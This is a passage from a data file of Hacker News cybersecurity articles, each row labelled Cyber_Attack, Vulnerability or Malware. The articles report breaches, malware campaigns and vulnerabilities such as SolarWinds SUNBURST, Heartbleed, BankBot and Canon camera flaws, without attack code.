Threat detection – network-based, host-based, and wireless IDS
Behavioral monitoring – netflow analysis, log management, file integrity monitoring and service availability tracking
Security intelligence – automated event correlation, advanced incident response and data forensics
For distributed networks, AlienVault's All-in-One Extended appliance provides local detection with global reporting and response.
Deploy up to five sensors and provide local asset discovery, vulnerability assessment, behavioral monitoring, and threat detection.
Correlate local events with global threat intelligence.
Apply business logic to security events to prioritize investigation efforts.
Measure, manage and report on compliance status.

Additionally, AlienVault USM Standard and Enterprise products are ideal for larger, distributed enterprises that require centralized SOC (Security Operations Center) management and visibility. The USM Standard and Enterprise products provide the ultimate deployment flexibility and scalability by separating each of the USM components – Sensor, Logger, Server – into dedicated physical, virtual, or cloud appliances.

Security for you, powered by all
AlienVault OTX is an open information sharing and analysis network that provides access to real-time, detailed information about incidents that may impact you, allowing you to learn from, and work with, others who have already experienced them. OTX was developed for IT practitioners responsible for security who don't want to continually deal with the same security problems as their peers without the benefit of lessons learned. Unlike closed, invitation-only information sharing and analysis networks (e.g., FS-ISAC, Infragard, ISAC), OTX provides real-time, actionable information that is open to anyone who chooses to participate. This allows IT practitioners to achieve preventative response by learning about how others are targeted, and then employ the right defenses to avoid becoming victims themselves.

Try it for free!
With USM you can achieve true security visibility in minutes, not months - If you've liked what you've seen, you can download a free 30 day trial or you can schedule an in depth demo on the AlienVault website.

",Cyber_Attack
Timesofmoney Database Hacked using Sql Injection Vulnerability,https://thehackernews.com/2011/08/timesofmoney-database-hacked-using-sql.html,"Timesofmoney Database Hacked using Sql Injection Vulnerability
General Information About the Vulnerability
This is again a critical vulnerability discovery made by zSecure Team in TimesofMoney website. The group claims that there exist a critical SQL Inejction Vulnerability in the timesofmoney's website using which an attacker can gain access to the site's entire database which contains the huge amount of customers confidential information. Even many indian banks are availing the service of the timesofmoney. This vulnerability may prove to be very critical for the company because TimesofMoney is India's one of the leaders in e-payment system. Existence of such a critical flaw in company's web may cause huge to the existing market reputation of the company concerned.

At the end of their advisory the zSecure Group left a small message which claims that they have discovered alike vulnerability in HDFC Bank's website and in coming days the group may come up with the public disclosure of the vulnerability in HDFC Bank's Website. Below are the note the zSecure Group left at the end of their advisory:
""We discovered alike vulnerability in HDFC Bank's Website as well and issued them a similar advisory. But even after couple of weeks of sending our advisory to the bank, the said vulnerability is still open for outside attacks. If the said vulnerability doesn't get fixed by the bank as an earliest then our next post may disclose that concerned vulnerability publically.We hope that both the companies (timesofmoney and HDFC Bank) will take immediate actions to fix the reported vulnerabilities.""
Target Website: https://www.timesofmoney.com/remittance/jsp/home.jsp
Attack Type: SQL Injection Vulnerability
Database Type: Oracle Database 11g Enterprise Edition
Alert Level: High
Threats: Database Access, Database Dump, Possibility of shell uploading
Credit: zSecure Team

About the Company
TimesofMoney is India's leading digital payment service provider, and serves a varied client database. Spanning Indian and international clients, our offering includes specialized NRI services, India Money Transfers, Global Money Transfers, ePayments and Co-branded cards. Conceptualized and built to serve diverse communities, TimesofMoney's services offer convenience, connectivity and flexibility across a global platform. The conglomerate continually strives to deliver the best to its clients, ensuring flexible service and meeting global standards.

Proof of Vulnerability:






Article Source

",Vulnerability
GFI SandBox - Powerful automated malware analysis,https://thehackernews.com/2011/08/gfi-sandbox-powerful-automated-malware.html,"GFI SandBox - Powerful automated malware analysis
GFI SandBox™ (formerly CWSandbox) is an industry leading dynamic malware analysis tool. It gives you the power to analyze virtually any Windows application or file including infected: Office documents, PDFs, malicious URLs, Flash ads and custom applications.Targeted attacks, hacked websites, malicious Office documents, infected email attachments and social engineering are all part of the Internet threat landscape today. Only GFI SandBox™ gives you a complete view of every aspect and element of a threat, from infection vector to payload execution. And GFI SandBox can quickly and intelligently identify malicious behavior using Digital Behavior Traits™ technology.

Features
Dynamic threat analysis
Dynamic and threat analysis shows how applications execute on the desktop, what system changes were made, and the network traffic generated. When coupled with Digital Behavior Traits you get the ability to automatically identify malicious actions and quickly determine the behavior of a threat. GFI SandBox (formerly CWSandbox) analyzes the behavior inside a monitored environment while recording all malicious activity including, but not limited to: system changes, network traffic, file activity, memory dumps and screen shots. GFI SandBox doesn't use or require emulation or virtualization.
Compare multiple analyses
GFI SandBox provides the ability to compare multiple analyses for differences and similarities. Samples can be sent to multiple SandBox configurations while centrally managing and automating the process. Side-by-side comparisons can be made across different desktop configurations and between different samples in one view.
True automation
Unlike most other analysis tools on the market today, GFI SandBox provides true automation that gives those on the front lines of cyber-defense and digital forensics the ability to analyze potential threats quickly, efficiently and in volume while saving organizations valuable time and resources.
Emulate, automate user interaction
By simulating how a user would interact when presented with a dialog box from fake or rogue applications, GFI SandBox automates what up until now has been a manual process. Traditionally, a researcher needed to manually analyze each threat on a case-by-case basis using a number of applications. The automation functions of GFI SandBox engage with the application, infected file or compromised website exactly as the malware expects a user to do and logs and analyzes all the resulting activity without any manual intervention.
A fraction of the time of conventional analysis
This end-to-end process automation enables security companies and enterprises to filter through potential threats in a consistent, automated manner, alleviating unnecessary demands on valuable resources.
Download

",Malware
"Nearly 18,000 SolarWinds Customers Installed Backdoored Software",https://thehackernews.com/2020/12/nearly-18000-solarwinds-customers.html,"SolarWinds, the enterprise monitoring software provider which found itself at the epicenter of the most consequential supply chain attacks, said as many as 18,000 of its high-profile customers might have installed a tainted version of its Orion products.
The acknowledgment comes as part of a new filing made by the company to the US Securities and Exchange Commission on Monday.
The Texas-based company serves more than 300,000 customers worldwide, including every branch of the US military and four-fifths of the Fortune 500 companies.
The ""incident was likely the result of a highly sophisticated, targeted and manual supply chain attack by an outside nation state,"" SolarWinds said in the regulatory disclosure, adding it ""currently believes the actual number of customers that may have had an installation of the Orion products that contained this vulnerability to be fewer than 18,000.""
The company also reiterated in its security advisory that besides 2019.4 HF 5 and 2020.2 versions of SolarWinds Orion Platform, no other versions of the monitoring software or other non-Orion products were impacted by the vulnerability.
Specifics regarding how the hackers penetrated SolarWinds' own network are still fuzzy, but the company noted in its filing that it was alerted to a compromise of its Microsoft Office 365 email and office productivity accounts that it's currently investigating to determine how long it existed and if the weakness was ""associated with the attack on its Orion software build system.""
Troublingly, according to a report from security researcher Vinoth Kumar, it also appears that a publicly-accessible SolarWinds GitHub repository was leaking FTP credentials of the domain ""downloads.solarwinds.com,"" thus allowing an attacker to potentially upload a malicious executable disguised as Orion software updates to the downloads portal. Even worse, the FTP server was protected by a trivial password.
Following Kumar's responsible disclosure last year, the company addressed the misconfiguration on November 22, 2019.
The development comes a day after cybersecurity firm FireEye said it identified a nine-month-long global intrusion campaign targeting public and private entities that introduce malicious code into legitimate software updates for SolarWinds' Orion software to break into the companies' networks and install a backdoor called SUNBURST (""SolarWinds.Orion.Core.BusinessLayer.dll"").
""The malicious DLL calls out to a remote network infrastructure using the domains avsvmcloud.com. to prepare possible second-stage payloads, move laterally in the organization, and compromise or exfiltrate data,"" Microsoft said in a write-up.
The US Department of Homeland Security was breached, as were the departments of Commerce and Treasury, Reuters reported yesterday. The espionage campaign also included the December 8 cyberattack on FireEye, although it's not immediately clear whether the intrusion and exfiltration was a direct result of a rogue SolarWinds update.
""The campaign demonstrates top-tier operational tradecraft and resourcing consistent with state-sponsored threat actors,"" said FireEye CEO Kevin Mandia. ""These compromises are not self-propagating; each of the attacks require meticulous planning and manual interaction.""
While the fallout caused by the hacking campaign is still unknown, fingers have been pointed at APT29, a hacking collective affiliated with the Russian foreign intelligence service. FireEye, which is tracking the campaign as ""UNC2452,"" has not linked the attack to Russia.
For its part, SolarWinds is expected to issue a second hotfix later today that replaces the vulnerable component and adds several extra security enhancements.
""The SUNBURST campaign represents a uniquely distressing intrusion event with implications for multiple industries and network operators,"" DomainTools' Senior Security Researcher, Joe Slowik, said.
""The ubiquity of SolarWinds in large networks, combined with the potentially long dwell time of intrusions facilitated by this compromise, mean victims of this campaign need not only recover their SolarWinds instance, but may need to perform widespread password resets, device recovery, and similar restoration activity to completely evict an intruder.""
""Through continuous monitoring of network traffic and an understanding of what hosts are communicating, defenders can leverage attacker weaknesses and dependencies to overcome these otherwise daunting challenges,"" he added.

",Cyber_Attack
Forever 21 Warns Shoppers of Payment Card Breach at Some Stores,https://thehackernews.com/2017/11/data-breach-forever21.html,"Another day, another data breach. This time a fast-fashion retailer has fallen victim to payment card breach.

American clothes retailer Forever 21 announced on Tuesday that the company had suffered a security breach that allowed unknown hackers to gain unauthorized access to data from payment cards used at a number of its retail locations.

The Los Angeles based company, which operates over 815 stores in 57 countries, didn't say which of its stores were affected, but it did note that customers who shopped between March and October this year may be affected.

Forever 21 learned of the breach after the retailer received a report from a third-party monitoring service, suggesting there may have been ""unauthorized access to data from payment cards that were used at certain FOREVER 21 stores.""

Besides this, the company also revealed that it implemented encryption and token-based authentication systems in 2015 that are intended to protect transaction data on its point-of-sale (PoS) machines in its stores.

However, due to dysfunctional of the security layers on certain PoS devices, hackers were able to gain unauthorized access to data from payment cards at some Forever 21 stores, the company admitted.

Since the investigation of its payment card systems is still ongoing, complete findings of the incident, including the number of customers potentially affected, are not available at the moment.

""Forever 21 immediately began an investigation of its payment card systems and engaged a leading security and forensics firm to assist,"" the US clothing retailer said while announcing the data breach.
""We regret that this incident occurred and apologize for any inconvenience. We will continue to work to address this matter.""

Meanwhile, customers who shopped at Forever 21 are advised to monitor their payment card statements carefully, and immediately notify their banks that issued the card for any unauthorized charge.

This incident is yet another embarrassing breach disclosed recently, followed by Disqus' disclosure of a 5-year-old breach where hackers stole details of over 17.5 million users and Yahoo's disclosure that 2013 data breach affected all of its 3 Billion users.

The recent incidents also include Equifax's disclosure of a breach of potentially 145.5 million customers, U.S. Securities and Exchange Commission (SEC) disclosure of a breach that profited hackers, and Deloitte's revelation of a cyber attack that resulted in the theft of its clients' private emails and documents.

",Cyber_Attack
BankBot Returns On Play Store – A Never Ending Android Malware Story,https://thehackernews.com/2017/11/bankbot-android-malware.html,"Even after so many efforts by Google for making its Play Store away from malware, shady apps somehow managed to fool its anti-malware protections and infect people with malicious software.

A team of researchers from several security firms has uncovered two new malware campaigns targeting Google Play Store users, of which one spreads a new version of BankBot, a persistent family of banking Trojan that imitates real banking applications in efforts to steal users' login details.

BankBot has been designed to display fake overlays on legitimate bank apps from major banks around the world, including Citibank, WellsFargo, Chase, and DiBa, to steal sensitive information, including logins and credit card details.

With its primary purpose of displaying fake overlays, BankBot has the ability to perform a broad range of tasks, such as sending and intercepting SMS messages, making calls, tracking infected devices, and stealing contacts.

Google removed at least four previous versions of this banking trojan from its official Android app store platform earlier this year, but BankBot apps always made their ways to Play Store, targeting victims from major banks around the world.

The second campaign spotted by researchers not only spreads the same BankBot trojan as the first campaign but also Mazar and Red Alert. This campaign has been described in detail on ESET blog.

According to an analysis performed by the mobile threat intelligence team at Avast in collaboration with ESET and SfyLabs, the latest variant of BankBot has been hiding in Android apps that pose as supposedly trustworthy, innocent-looking flashlight apps.

First spotted by the researchers on 13 October, the malicious BankBot apps uses special techniques to circumvent Google's automated detection checks, such as starting malicious activities 2 hours after the user gave device admin rights to the app and publishing the apps under different developer names.

After tricking victims into downloading them, the malicious apps check for the applications that are installed on the infected device against a hard-coded, list of 160 mobile apps.

According to the researchers, this list includes apps from Wells Fargo and Chase in the U.S., Credit Agricole in France, Santander in Spain, Commerzbank in Germany and many other financial institutions from around the world.
If it finds one or more apps on the infected smartphone, the malware downloads and installs the BankBot APK from its command-and-control server on the device, and tries to trick the victim into giving it administrator rights by pretending to be a Play Store or system update using a similar icon and package name.

Once it gets the admin privileges, the BankBot app displays overlay on the top of legitimate apps whenever victims launch one of the apps from the malware's list and steal whatever banking info the victim's types on it.

The Avast Threat Labs has also provided a video demonstration while testing this mechanism with the app of the local Czech Airbank. You can see how the app creates an overlay within milliseconds and tricks the user into giving out their bank details to criminals.

Since many banks use two-factor-authentication methods for secure transactions, BankBot includes functionality that allows it to intercept text messages, allowing criminals behind BankBot to steal mobile transaction number (mTAN) sent to the customer's phone and transfer money to their accounts.

Here's one important thing to note is that Android mechanism blocks apps installation from outside the Play Store. Even if you have already permitted installation from unknown sources, Google still requires you to press a button to continue such installations.
""Unlike this newer version of BankBot, droppers from previous campaigns were far more sophisticated,"" the researchers note. ""They applied techniques such as performing clicks in the background via an Accessibility Service to enable the installation from unknown sources.""
The latest BankBot version does not utilize this Accessibility Service feature due to Google's recent move of blocking this feature for all applications, except those designed to provide services for the blind.

Google has already removed all recently-discovered BankBot apps after being notified by the researchers.

Although it is a never-ending concern, the best way to protect yourself is always to be vigilant when downloading apps even from Google's official Play store. So, always verify app permissions and reviews before downloading an app from Google Play Store.

Even though the BankBot apps made it way into the Play Store, its payload was downloaded from an external source. So, don't allow any unknown third-party APK to be installed on your smartphone.

To do so, Go to Settings → Security and then Turn OFF ""Allow installation of apps from sources other than the Play Store.""

Most importantly, be careful which apps you give administrative rights to, as it is powerful and can provide a full app control of your device.

",Cyber_Attack
Android malware loaded with Linux kernel privilege escalation exploit,https://thehackernews.com/2013/06/android-malware-loaded-with-linux.html,"Malware authors are notorious for quickly leveraging new exploits in the public domain for nefarious purposes. A recently discovered Linux kernel Local privilege escalation exploit, which allows attackers to gain complete control of infected devices, has been ported to the Android smartphone platform.
The Linux kernel 2.6.x, including Red Hat Enterprise Linux 6, Ubuntu 12.04 LTS, Debian 6 and Suse Enterprise Linux 11 are vulnerable to privilege escalation flaw with CVE-2013-2094.

CVE-2013-2094 states, ""The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data type, which allows local users to gain privileges via a crafted perf_event_open system call.""

Exploit for Linux machines is publically available here. Privilege escalation exploits are particularly dangerous as they can allow cybercriminals to gain complete control over the compromised device.

The exploit can be used to to access data from other applications, prevent users from uninstalling the malware, and make it possible for the attackers to send premium rate text messages from the handset.

Symantec said, ""The Android operating system normally sandboxes every application so they cannot perform sensitive system operations or interfere with other installed applications. In the past, we have seen malware use privilege escalation exploits to access data from other applications, prevent uninstall, hide themselves, and also bypass the Android permissions model to enable behaviors such as sending premium SMS messages without user authorization.""

A majority of malicious mobile apps are fake or rogue apps that claim to have some function but will also contain malicious behaviors that run without users' knowledge. Because there is no patch available yet for this flaw, so we recommend users to download apps from reputable marketplaces only.

",Malware
Breaking — Russian Hacker Responsible for LinkedIn Data Breach Arrested by FBI,https://thehackernews.com/2016/10/linkedin-russian-hacker-arrested.html,"The alleged Russian hacker arrested by the FBI in collaboration with the Czech police is none other than the hacker who was allegedly responsible for massive 2012 data breach at LinkedIn, which affected nearly 117 Million user accounts.

Yevgeniy N, 29-year-old Russian hacker was arrested in Prague on October 5 suspected of participating in conducting cyber-attacks against the United States, according to Reuters.

Earlier it was suspected that the hacker could be involved in hacking against the Democratic National Committee (DNC), or its presidential candidate Hillary Clinton, intended to influence the presidential election.

However, the latest statement released by LinkedIn suggests that the arrest was related to a 2012 data breach at the social network that exposed emails and hashed password of nearly 117 Million users.
""We are thankful for the hard work and dedication of the FBI in its efforts to locate and capture the parties believed to be responsible for this criminal activity,"" LinkedIn said in a statement.
""Following the 2012 breach of LinkedIn member information, we have remained actively involved with the FBI's case to pursue those responsible.""
Earlier this year, a hacker under the nickname ""Peace"" put on sale what claimed to be the database of 167 Million emails and hashed passwords, including 117 Million already cracked passwords, belonging to LinkedIn users.

But, it is still unclear if the arrested hacker is the same one who was selling LinkedIn data dump on the Dark Web market a few months ago.

Watch Video of Hacker's Arrest:

But if it turns out to be the same one, then it would be a jackpot for the FBI because 'Peace' is the hacker who was also responsible for selling data dumps for MySpace, Tumblr, VK.com, and Yahoo! on the dark web marketplace.

Czech police said that a court would take the decision on the hacker's extradition to the U.S., where he is facing charges for his hacking-related crimes.

We will update the story as soon as we get official confirmation from the U.S. feds.

",Cyber_Attack
Billions of Smartphone Users affected by Heartbleed Vulnerability,https://thehackernews.com/2014/04/billions-of-smartphone-users-affected_13.html,"Heartbleed has left a worst impression worldwide affecting millions of websites and is also supposed to put millions of Smartphones and tablets users at a great risk.

Heartbleed is a critical bug (CVE-2014-0160) in the popular OpenSSL cryptographic software library, that actually resides in the OpenSSL's implementation of the TLS/DTLS heartbeat extension, which allows attackers to read portions of the affected server's memory, potentially revealing users data such as usernames, passwords, and credit card numbers, that the server did not intend to reveal.

OpenSSL is a widely-used cryptographic library which implements the SSL and TLS protocol and protects communications on the Internet, and mostly every websites use either SSL or TLS, even the Apache web server that powers almost half of the websites over internet utilizes OpenSSL.

But to assume that the users using desktop browsers to visit websites are vulnerable to the Heartbleed bug, will be wrong. Despite 40-60 billion active Smartphone applications may be sharing some of those same servers or connect to their own group of servers that may also be compromised.

ANDROID
Google wrote in an update on its Online Security blog on Wednesday, emphasizing that Android was not vulnerable to the Heartbleed bug, except for a very specific version and can you guess that so called specific version??

Android 4.1.1 Jelly Bean, the one which makes up the majority of Android devices around the world, and which relies on the vulnerable version of OpenSSL.

Google didn't reveal the actual figure that are vulnerable to the bug, but according to the latest dashboard released by Google, it is estimated that around 34.4% of the Android devices in use today are running the Android 4.1.x version.

Even last September Google announced that it had activated one billion devices. This means that the minimal number is likely to be in the millions. So, one can imagine how many Smartphones and tablets were at risk.

Well, Google has released the patches for Android 4.1.1 which is being distributed among the Android partners.

APPLE
Apple users can be relaxed knowing that their devices running iOS and OS X are not affected by the most critical security flaw, Heartbleed.

""Apple takes security very seriously. IOS and OS X never incorporated the vulnerable software and key web-based services were not affected,"" Apple told Re/code.

Instead using OpenSSL, Apple relies on different SSL/TLS libraries called Secure Transport, which was hit by its own very serious bug in February outcropping the possibility for man-in-the-middle (MitM) attacks — though it wasn't as dangerous as the recent OpenSSL Heartbleed security Flaw.

But still Apple users were not exempted completely, as the users using BBM for private messages on iOS might have been vulnerable to this flaw.

BLACKBERRY
Blackberry confirmed that some of its products, including Secure Work Space for iOS and Android, and BlackBerry Link for Windows and Mac OS and even BBM for iOS and Android were vulnerable to the Heartbleed security flaw. The figure of affected users is not least, as about 80 million people use BBM service.

They have also assured that BlackBerry Smartphones and tablets, BlackBerry Enterprise Server 5, BlackBerry Enterprise Service 10, and the BlackBerry Infrastructure are not affected by the flaw and are fully protected.

Related Important Articles:
How Heartbleed Bug Exposes Your Passwords to Hackers
German Developer responsible for HeartBleed Bug in OpenSSL
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable
NSA denies Report that Agency knew and exploited Heartbleed Vulnerability

",Vulnerability
Fake LinkedIn Emails Link to Blackhole Exploit Malware,https://thehackernews.com/2012/03/fake-linkedin-emails-link-to-blackhole.html,"Fake LinkedIn Emails Link to Blackhole Exploit Malware


Cyber Criminals have been busy pumping out spam emails that pose as legitimate LinkedIn notices, enticing you to click on a link in order to read what message some random stranger has left for you. The incident was identified by researchers at security provider GFI Labs.

If your Click the links, It will send you directly to a site housing a blackhole exploit kit that will attempt to take advantage of any system vulnerabilities in order to infect your PC with malware, Exactly which attempts to drop Cridex onto the PC.

Cridex malware variant from the wild caught on camera that shows CAPTCHA tests used by some online services are still weak and can be broken by malware.

The spammers did a good job crafting the bogus LinkedIn notices LinkedIn logo at the top left, familiar blue coloring, no obvious spelling mistakes, disguised links and even a spoofed sender's address it's pretty easy to spot the fake emails when you see them.

If you have a LinkedIn account, you may want to think twice about clicking links within any emails that claim you've received a new message on the social networking site geared towards professionals.

",Malware
Canon DSLR Cameras Can Be Hacked With Ransomware Remotely,https://thehackernews.com/2019/08/dslr-camera-hacking.html,"The threat of ransomware is becoming more prevalent and severe as attackers' focus has now moved beyond computers to smartphones and other Internet-connected smart devices.

In its latest research, security researchers at cybersecurity firm CheckPoint demonstrated how easy it is for hackers to remotely infect a digital DSLR camera with ransomware and hold private photos and videos hostage until victims pay a ransom.

Yes, you heard me right.

Security researcher Eyal Itkin discovered several security vulnerabilities in the firmware of Canon cameras that can be exploited over both USB and WiFi, allowing attackers to compromise and take over the camera and its features.

According to a security advisory released by Canon, the reported security flaws affect Canon EOS-series digital SLR and mirrorless cameras, PowerShot SX740 HS, PowerShot SX70 HS, and PowerShot G5X Mark II.

""Imagine how would you respond if attackers inject ransomware into both your computer and the camera, causing them to hold all of your pictures hostage unless you pay a ransom,"" Itkin warns.

Canon DSLR PTP and Firmware Vulnerabilities

All these vulnerabilities, listed below, reside in the way Canon implements Picture Transfer Protocol (PTP) in its firmware, a standard protocol that modern DSLR cameras use to transfer files between camera and computer or mobile devices via wired (USB) or wirelessly (WiFi).


Besides file transfer, Picture Transfer Protocol also supports dozens of commands to remotely handle many other tasks on camera—from taking live pictures to upgrading the camera's firmware—many of which have been found vulnerable.

CVE-2019-5994 — Buffer Overflow in SendObjectInfo
CVE-2019-5998 — Buffer Overflow in NotifyBtStatus
CVE-2019-5999 — Buffer Overflow in BLERequest
CVE-2019-6000 — Buffer Overflow in SendHostInfo
CVE-2019-6001 — Buffer Overflow in SetAdapterBatteryReport
CVE-2019-5995 — Silent Malicious Firmware Update

Itkin found that Canon's PTP operations neither require authentication nor use encryption in any way, allowing attackers to compromise the DSLR camera in the following scenarios:

Via USB — Malware that has already compromised your PC can propagate into your camera as soon as you connect it with your computer using a USB cable.
Over WiFi — An attacker in close proximity to a targeted DSLR camera can set up a rogue WiFi access point to infect your camera.

""This can be easily achieved by first sniffing the network and then faking the AP to have the same name as the one the camera automatically attempts to connect. Once the attacker is within the same LAN as the camera, he can initiate the exploit,"" Itkin explains.

Exploiting Canon DSLR Flaw to Deploy Ransomware Over-the-Air

As a proof-of-concept, the researcher successfully exploited one of these vulnerabilities that allowed them to push and install a malicious firmware update on a targeted DSLR camera over WiFi—with no interaction required from the victim.

As shown in the video demonstration, the malicious firmware was modified to encrypt all files on the camera and display a ransom demand on its screen using the same built-in AES functions that Canon uses to protect its firmware.

""There is a PTP command for a remote firmware update, which requires zero user interaction,"" the researcher explains. ""This means that even if all of the implementation vulnerabilities are patched, an attacker can still infect the camera using a malicious firmware update file.""

A real ransomware attack of this type is one of the biggest threats to your precious memories where hackers can typically demand money in exchange for the decryption key that would unlock your photos, videos and audio files.

Researchers responsibility reported these vulnerabilities to Canon in March this year. However, the company has currently only released an updated firmware for Canon EOS 80D model and recommended users of other affected models to follow basic security practices until patches for their devices become available.

For more details about the vulnerabilities in Canon camera models, you can head on to CheckPoint's report published yesterday.

",Vulnerability
Popular Remote access Trojan njRAT fuels Middle East Cyber Crime,https://thehackernews.com/2014/03/popular-remote-access-trojan-njrat.html,"Again the sophisticated piece of malware, ""njRAT"" has come to picture targeting the government agencies and organizations in the Middle East, according to the research carried out by Symantec security researchers.

The researchers analyzed 721 samples of malicious code 'njRAT' and revealed that a large number of about 24,000 infected computers worldwide were targeted by the malware infections with 542 control-and-command (C&C) server domain names.

njRAT is not a new piece of malware in the market, it is available since June 2013. Till now its three variants have been released and all of which can be propagated through infected USB keys or networked drives.

njRAT is a Remote Access Trojan (RAT) intensive in its data-stealing capabilities. In addition to log keystrokes, the malware is capable to access the victim's camera, steal credentials stored in browsers, upload and download files, perform process and file manipulations, view the victim's desktop.

This RAT can be used to control networks of computers called Botnets, with the caliber to let the attacker update, uninstall, disconnect, restart, close the RAT and rename its campaign ID and an attacker has capabilities to create and configure the malware to spread through USB drives with the help of the Command & Control server software.

HOW TO USE njRAT
It is estimated that the popularity of the njRAT malware in the Middle East and North Africa is because of a large number of online community providing support in the form of instructions and tutorials for development of the malware.

""Technical support and tutorials on using njRAT are widely available on the Web. Symantec has found numerous video tutorials in the Arabic language containing step-by-step processes for downloading and setting up the malware, including steps such as dynamic DNS naming for C&C servers. This level of support enables attackers in the region to easily to build tools and server components for njRAT."" researchers said.

FATHER OF njRAT
""The malware's author also appears to hail from the region. njRAT appears to have been written by a Kuwait-based individual who uses the Twitter handle @njq8. The account has been used to provide updates on when new versions of the malware are available to download."" they added.

Symantec has also spotted 487 groups of cyber criminals setting-up attacks using njRAT and these ""attacks appear to have different motivations, which can be broadly classed as hacktivism, information theft, and botnet building.""

""One such group is the S.K.Y.P.E/Tagged group, which has C&C servers hosted in Egypt and Algeria. The group's vector for infection is a screensaver hosted on the file sharing site ge.tt. When victims download the compressed .rar file containing the screensaver, they get an executable containing njRAT.""

Symantec said that nearly 80 percent of the command and control servers worldwide were located in the Middle East region and North Africa, such as Saudi Arabia, Iraq, Tunisia, Egypt, Morocco, Algeria, Palestine and Libya.

",Malware
New Mac Malware Targets Cookies to Steal From Cryptocurrency Wallets,https://thehackernews.com/2019/02/mac-malware-cryptocurrency.html,"Mac users need to beware of a newly discovered piece of malware that steals their web browser cookies and credentials in an attempt to withdraw funds from their cryptocurrency exchange accounts.

Dubbed CookieMiner due to its capability of stealing cookies-related to cryptocurrency exchanges, the malware has specifically been designed to target Mac users and is believed to be based on DarthMiner, another Mac malware that was detected in December last year.

Uncovered by Palo Alto Networks' Unit 42 security research team, CookieMiner also covertly installs coin mining software onto the infected Mac machines to secretly mine for additional cryptocurrency by consuming the targeted Mac's system resources.

In the case of CookieMiner, the software is apparently geared toward mining ""Koto,"" a lesser-known, privacy-oriented cryptocurrency which is mostly used in Japan.

However, the most interesting capabilities of the new Mac malware is to steal:

Both Google Chrome and Apple Safari browser cookies associated with popular cryptocurrency exchanges and wallet service websites.
Usernames, passwords and credit card information saved in the Chrome web browser.
Cryptocurrency wallet data and keys.
iPhone's text messages of victims stored in iTunes backups.

When talking about the targeted cryptocurrency exchanges and wallet services, CookieMiner was found targeting Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having ""blockchain"" in its domain and using cookies to track their users temporarily.
By leveraging the combination of stolen login credentials, web cookies, and SMS data, it would be possible for an attacker to even bypass two-factor authentication for exchange sites and steal cryptocurrencies from the victim's accounts and wallets.
""If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login,"" the researchers explained in their blog post published Thursday.
""However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods.""
It should be noted that researchers have not yet found any evidence of the attackers successfully withdrawing funds from any user's wallet or account, but are speculating based on the malware's behavior.

What's more? CookieMiner also uses the EmPyre backdoor for post-exploitation control, allowing attackers to send commands to the infected Mac computers for remote control.

EmPyre is a Python post-exploitation agent that checks if the Little Snitch application firewall is running on the victim's machine and if it finds one, it will stop and exit. The agent can also be configured to download additional files.

Although it is unclear how the CookieMiner malware is pushed to the victims at the first place, it is believed that the users are tricked into downloading tainted software onto their machines which delivers the malware.

Palo Alto Networks has already contacted targeted cryptocurrency exchanges and wallet services, along with Apple and Google, and reported the issue.

Since the researchers believe that the CookieMiner campaign is still active, the best way to prevent falling victim to such malware attacks is to avoid saving your credentials or credit card information within your web browsers and, not to mention, avoid downloading apps from third-party platforms.

You should also consider clearing your cookies when visiting the banking or financial accounts, and ""keep an eye on their security settings and digital assets to prevent compromise and leakage,"" researchers advised.
",Cyber_Attack
This Antenna Can Remotely Steal Data From Devices using Sound Waves,https://thehackernews.com/2015/08/radio-signal-hacking-computer.html,"Remember the previously demonstrated technique to Hack into air-gapped computers using Heat waves?

What if the same was possible to hack computers to steal data using Sound waves?

Imagine, If a remote hacker could steal classified information from a targeted computer without having to physically and Internet access to it.

A team of security researchers has demonstrated exactly the same by developing a new hacking technique called Funtenna that uses sound and radio waves to siphon data from computers even without Internet access.

According to a lead researcher Ang Cui of Red Balloon Security, the Funtenna radio signal hack has the potential to turn Internet-connected devices (printer, washing machine and air conditioner) – popularly known as the Internet of Things – into bugs that can transmit data out of a network using sound waves that can not be heard by a human ear.

How Funtenna Works?

The attacker only needs to install malware on a target's device such as a printer, office phone, or a computer.
The malware overtakes the control of the electronic circuit of the device (general-purpose input/output circuits) and vibrates them at a frequency (which transmits radio signal) of the attacker's preference.

An attacker then can pick up these signals using an AM radio antenna (Funtenna) from a short distance away.
""You have network detection, firewalls… but this transmits data in a way that none of those things are monitoring, this fundamentally challenges how certain we can be of our network security,"" said Cui.
Here, the hacked devices are themselves acting as transmitters. Therefore, the new Funtenna technique bypasses all conventional network security methodologies.

You can also watch a video demonstration of how Funtenna works below:

Funtenna is actually using a technique known as ""Hardware Agnostic,"" which is generally available to operate with all modern computer systems and embedded devices.

The team showcased its new technique in action at the Black Hat security summit in Las Vegas on Wednesday. It will also release a ""proof-of-concept"" code for researchers and hackers.

",Cyber_Attack
Cyber war against Israel have taken very dangerous turn,https://thehackernews.com/2011/08/cyber-war-against-israel-have-taken.html,"Cyber war against Israel have taken very dangerous turn

The Cyber war between Egypt and Israel have taken very dangerous turn by setting normal internet users as target for botnet attacks. Since week ago some Egyptian hackers attacked so many Israeli's gov communities and organizations on the internet. Israeli prime minister Netanyahus for example. But yet it wasn't very scary attacks level , as it was far from the normal computer users.

In Sudden escalation for the attack level , an Egyptian group launched computer worm which infected about 50000 personal computer in Israel and united states. Despite of my virtual machine security level , it was also infected by the same worm. I (Reuben Rayner) didn't notice that am infected till the attackers launched an exe file which viewed message in the full screen mode.

Quits of the attackers message they started with the word ""Anti-Zionism""
""If u can see this message this mean that u either from israel orfrom USA > both sucks
your stupid zionist soliders passed through the Egyptian borders and killed 3 soldiers and that's not good for u.
now our army became 79999997 instead of 80000000 , they all ready to kick ur fat asses :)""
it seem that it also about the border problem between Egypt and Israel
""our strike is just the beginning , u can say it's a simple bullet , but the nuclear strike is comming soon :)
this is not your only fate , so don't be sad , this fate is waiting thousands of zionist users
watch this pic : https://adf.ly/2R8A1""
Threatening that they are more attacks against Zionists and attaching a picture of their own bot network.
""Striked By : sTrIk3r, i-Hmx , H311 C0D3 & K4rar
shouts to all elite hackers at sec4ever.com , alm3refh.com and 1337s.cc
now let Our Worm talk to u about herself for seconds . . .""

Names and Arabic sites and yet they seem to be funny enough to let them worm talk to the user > me
you can read the full message via the picture above, but what make this attack unique?? Ok , have you viewed Israel gov sites yesterday? Try pinging mossad.gov.il for example
The pinging result
